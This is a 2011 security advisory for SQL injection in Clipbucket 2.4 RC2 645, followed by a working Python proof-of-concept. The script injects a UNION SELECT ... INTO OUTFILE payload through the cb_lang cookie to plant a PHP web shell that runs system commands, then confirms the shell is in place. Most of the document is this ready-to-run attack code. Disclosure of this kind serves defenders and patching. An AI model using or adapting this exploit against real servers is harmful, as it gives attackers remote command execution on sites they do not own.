# ------------------------------------------------------------------------
# Software................Clipbucket 2.4 RC2 645
# Vulnerability...........SQL Injection
# Threat Level............Critical (4/5)
# Download................http://www.clip-bucket.com/
# Discovery Date..........5/23/2011
# Tested On...............Windows Vista + XAMPP
# ------------------------------------------------------------------------
# Author..................AutoSec Tools
# Site....................http://www.autosectools.com/
# Email...................John Leitch <john@autosectools.com>
# ------------------------------------------------------------------------
#
#
# --Description--
#
# A sql injection vulnerability in Clipbucket 2.4 RC2 645 can be
# exploited to extract arbitrary data. In some environments it may be
# possible to create a PHP shell.
#
#
# --PoC--

import socket

host = 'localhost'
path = '/clipbucket'
shell_path = '/shell.php'
port = 80

def upload_shell():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s.settimeout(8)   

    s.send('POST ' + path + '/includes/common.php HTTP/1.1\r\n'
           'Host: localhost\r\n'
           'Connection: keep-alive\r\n'
           'User-Agent: x\r\n'
           'Content-Length: 0\r\n'
           'Cache-Control: max-age=0\r\n'
           'Origin: null\r\n'
           'Content-Type: multipart/form-data; boundary=----x\r\n'
           'Cookie: cb_lang=\'and%201=0%20UNION%20SELECT%20\'%3C?php%20echo%20system($_GET[%22CMD%22])%3b%20?%3E\',\'\',\'\',\'\',\'\',\'\'%20FROM%20dual%20INTO%20OUTFILE%20\'../../htdocs/shell.php\'%3b%23; sess_salt=1testab\'testxy\r\n'
           'Accept: text/html\r\n'
           'Accept-Language: en-US,en;q=0.8\r\n'
           'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n'
           '\r\n')

    resp = s.recv(8192)

    http_ok = 'HTTP/1.1 200 OK'
   
    if http_ok not in resp[:len(http_ok)]:
        print 'error uploading shell'
        return
    else: print 'shell uploaded'

    s.send('GET ' + shell_path + ' HTTP/1.1\r\n'\
           'Host: ' + host + '\r\n\r\n')

    if http_ok not in s.recv(8192)[:len(http_ok)]: print 'shell not found'       
    else: print 'shell located at http://' + host + shell_path

upload_shell()